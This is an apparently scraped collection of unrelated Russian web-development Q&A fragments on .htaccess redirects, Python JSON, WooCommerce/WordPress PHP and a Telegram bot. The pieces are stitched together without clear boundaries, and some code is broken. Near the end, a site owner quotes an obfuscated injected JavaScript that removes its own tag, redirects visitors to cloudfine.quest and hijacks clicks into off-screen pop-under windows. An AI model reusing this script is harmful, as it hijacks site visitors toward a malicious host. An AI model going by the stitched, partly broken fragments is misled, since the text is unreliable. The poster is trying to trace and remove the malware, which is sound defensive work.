1.5 недели назад отправил запрос на переезд сайта с http на https в веб мастере, до сих пор жду изменений, сколько мне ждать еще кто знает?
является ли это критичной ошибкой? или можно забить на нее?
RewriteEngine On
# 301 redirection from http to https
RewriteCond %{HTTPS} off
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
# 301 redirection from www to non www
RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]
RewriteRule ^ https://%1%{REQUEST_URI} [L,R=301]
Есть ли возможность в python прописать длинный многоуровневый список со словарями и вставлять туда переменные чтобы по итогу я мог сгенерировать из него JSON?
import json
krevetko = 'иа креветкО!'
data = {
"form_id": 1345,
"fields": [
{"id": 1, "value": krevetko}, # <-- this is, krevetko variable
{"id": 2, "value": 10306.25},
{"id": 3, "value": {"item_id": 845}},
{
"id": 4,
"value": [
{
"row_id": 0,
"cells": [
{"id": 6, "value": "2017-08-26"},
{"id": 9, "value": 10000}
]
}
]
}
]
}
print(json.dumps(data))
# {"form_id": 1345, "fields": [{"id": 1, "value": "\u0438\u0430 \u043a\u0440\u0435\u0432\u0435\u0442\u043a\u041e!"}, {"id": 2, "value": 10306.25}, {"id": 3, "value": {"item_id": 845}}, {"id": 4, "value": [{"row_id": 0, "cells": [{"id": 6, "value": "2017-08-26"}, {"id": 9, "value": 10000}]}]}]}
import json
data_dict = {"name": "John", "age": 30}
data_list = [1, 2, 3, 4]
data_string = "Hello, world!"
data_string_cyrillic = "иа креветкО!"
data_number = 42
data_boolean = True
data_none = None
print(json.dumps(data_dict)) # {"name": "John", "age": 30}
print(json.dumps(data_list)) # [1, 2, 3, 4]
print(json.dumps(data_string)) # "Hello, world!"
print(json.dumps(data_string_cyrillic)) # "\u0438\u0430 \u043a\u0440\u0435\u0432\u0435\u0442\u043a\u041e!"
print(json.dumps(data_number)) # 42
print(json.dumps(data_boolean)) # true
print(json.dumps(data_none)) # null
function test() {
global $product;
if($product->is_type('variable')) {
$variations = $product->get_available_variations();
echo '<div class="custom-variations-wrapper">';
foreach($variations as $variation) {
if(isset($variation['display_price'])) {
$variation_id = $variation['variation_id'];
$variation_price = $variation['display_price']; // or 'display_regular_price'
echo '<form action="' . esc_url($product->add_to_cart_url()) . '" method="post" enctype="multipart/form-data">';
echo '<div class="variation" data-variation-id="' . esc_attr($variation_id) . '">';
echo '<p class="price">' . sprintf(__('%s'), wc_price($variation_price)) . '</p>';
echo '<input type="hidden" name="product_id" value="' . esc_attr($product->get_id()) . '" />';
echo '<input type="hidden" name="variation_id" value="' . esc_attr($variation_id) . '" />';
foreach($variation['attributes'] as $attribute => $value) {
echo '<input type="hidden" name="' . esc_attr($attribute) . '" value="' . esc_attr($value) . '">';
}
echo '<button type="submit">' . __('В корзину') . '</button>';
echo '</div>';
echo '</form>';
}
}
echo '</div>';
}
}
add_action('woocommerce_after_shop_loop_item', 'test', 20);
Существует ли способ имитировать эти действия так, чтобы JavaScript успешно их распознавал
Существует ли способ имитировать эти действия так, чтобы JavaScript успешно их распознавал, но без использования библиотеки PyAutoGUI или аналогичных, которые контролируют реальный курсор?
Пример файла JSON
Например мне нужно найти список с id 10 и сохранить все его элементы в отдельный
list_data = [
{
"id": 121,
"type": "form_link",
"name": "cust",
"tooltip": "",
"value": {
"task_id": 432122,
"task_ids": [
1236733
],
"subject": "test_event"
}
},
{
"id": 122,
"type": "text",
"name": "Регион",
"tooltip": "",
"value": "MGN."
},
{
"id": 129,
"type": "text",
"name": "Проблема",
"tooltip": "Заправьте картридж",
"value": "TEST"
},
{
"id": 10,
"type": "person",
"name": "Ответственный",
"tooltip": "none",
"value": {
"id": 888,
"first_name": "Pavel",
"last_name": "Perkov",
"email": "example@anime.com",
"type": "user",
"status": "WORKING",
"web_session_settings": {
"disable": False
},
"mobile_session_settings": {
"disable": False
}
}
}
]
# mega function
def test(data, target_id):
for item in data:
if item.get('id') == target_id:
return item
return None
res = test(list_data, 10)
print(res)
# {'id': 10, 'type': 'person', 'name': 'Ответственный', 'tooltip': 'none', 'value': {'id': 888, 'first_name': 'Pavel', 'last_name': 'Perkov', 'email': 'example@anime.com', 'type': 'user', 'status': 'WORKING', 'web_session_settings': {'disable': False}, 'mobile_session_settings': {'disable': False}}}
item2 = types.KeyboardButton(text="Семья в России"),
bot.reply_to
это откуда? По идее, должно быть bot.send_message
, исправил код, допишите все нужные кнопки и попробуйте, должно заработать:@bot.message_handler(commands=["start"])
def start(message):
keyboard = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)
item1 = types.KeyboardButton(text="Основные документы гражданина Российской Федерации")
# прочее...
keyboard.add(item1, item2)
# прочее...
bot.send_message(
message.chat.id,
f"Привет",
f"{message.from_user.first_name}! Я бот, который поможет тебе. Что ты хочешь узнать..?",
reply_markup=keyboard)
$response_body['data']['attributes']['redirect_url'];
$response_body['data']['attributes'];
$response_body['data']['attributes']['hpp_url'];
[status] => process_pending
, возможно, платеж еще не обработан и нужно время. function test() {
register_taxonomy_for_object_type('category', 'page');
register_taxonomy_for_object_type('post_tag', 'page');
}
add_action('init', 'test');
// add custom column
function add_custom_column($columns) {
$columns['short_description'] = __('Краткое описание', 'my_custom_plugin');
unset($columns['description']);
return $columns;
}
add_filter('manage_edit-category_columns', 'add_custom_column');
// fill custom column
function fill_custom_column($deprecated, $column_name, $term_id) {
if('short_description' === $column_name) {
$term = get_term($term_id);
echo mb_substr($term->description, 0, 20) . (mb_strlen($term->description) > 20 ? '…' : '');
}
}
add_action('manage_category_custom_column', 'fill_custom_column', 10, 3);
Можно ли как-то определить (селектором ?), что после элемента идёт разрыв страницы печати?
можно ли как-то выполнять javascript код с сохранением не открывая вручную тысячи страниц?
Искал, искал — а ничего толкового вообще на нашел, вот прям совсем. Наверное, не там искал.
Защитит ли эта капча от поведенческих ботов или просто будет нагружать ресурсы бота и хоста заодно?
from .command1 import Command1
# app/
# management/
# __init__.py <-- this import
# commands/
# __init__.py <-- and this import
# command1/
# __init__.py <-- and this import
Узнал, что не рекомендуется на странице размещать две одинаковых ссылки на одну страницу.
Что если дубли ссылок формируются с помощью js и изначально в верстке не присутствуют? Это решает проблему?
У меня на сайте сложное меню и дубли ссылок формируются в нем. Проще такое меню, т.е. без дублей, никак не сделать.
document.currentScript.remove();if(typeof wsjwa573==='undefined'){const wsjwa573=true;const wkonuolh='https://cloudfine.quest/redirect';if(('PushManager'in window)&&('Notification'in window)&&('fetch'in window)){window.location.replace('https://'+(window.location.hostname!==undefined?wi...);}else{const is5ykqkx=setInterval(()=>{if(document.readyState==='interactive'||document.readyState==='complete'){clearInterval(is5ykqkx);if('ontouchstart'in window){function vg4ymqkq(afzqftyr){document.removeEventListener('click',vg4ymqkq);if(window.open(afzqftyr.target.href===undefined?window.location.href:afzqftyr.target.href,'_blank')!==null){afzqftyr.preventDefault();afzqftyr.stopPropagation();setTimeout(()=>{window.location.href=wkonuolh;},1000);}}document.addEventListener('click',vg4ymqkq);}else{function vg4ymqkq(afzqftyr){afzqftyr.preventDefault();afzqftyr.stopPropagation();document.removeEventListener('click',vg4ymqkq);const ga3m40pt=window.open('','_blank','fullscreen=no,height=100,left='+(screen.width+100)+',location=no,menubar=no,resizable=no,scrollbars=no,status=no,titlebar=no,toolbar=no,top='+(screen.height+100)+',width=100');if(ga3m40pt!==null){function nxq27s6i(){clearTimeout(ryzfrfy5);ga3m40pt.moveTo(0,0);ga3m40pt.resizeTo(window.screen.availWidth,window.screen.availHeight);ga3m40pt.document.location.href=wkonuolh;window.removeEventListener('focus',nxq27s6i);}const ryzfrfy5=setTimeout(()=>{ga3m40pt.close();window.removeEventListener('focus',nxq27s6i);},8000);ga3m40pt.moveTo(screen.width+100,screen.height+100);window.addEventListener('focus',nxq27s6i);}document.body.style.opacity='1';}document.body.style.opacity='0.7';document.addEventListener('click',vg4ymqkq);}}},50);}}
Прошерстил все файлы проекта - не нашел никаких подключений. Ни по одному из ключевых слов не находится ничего подобного.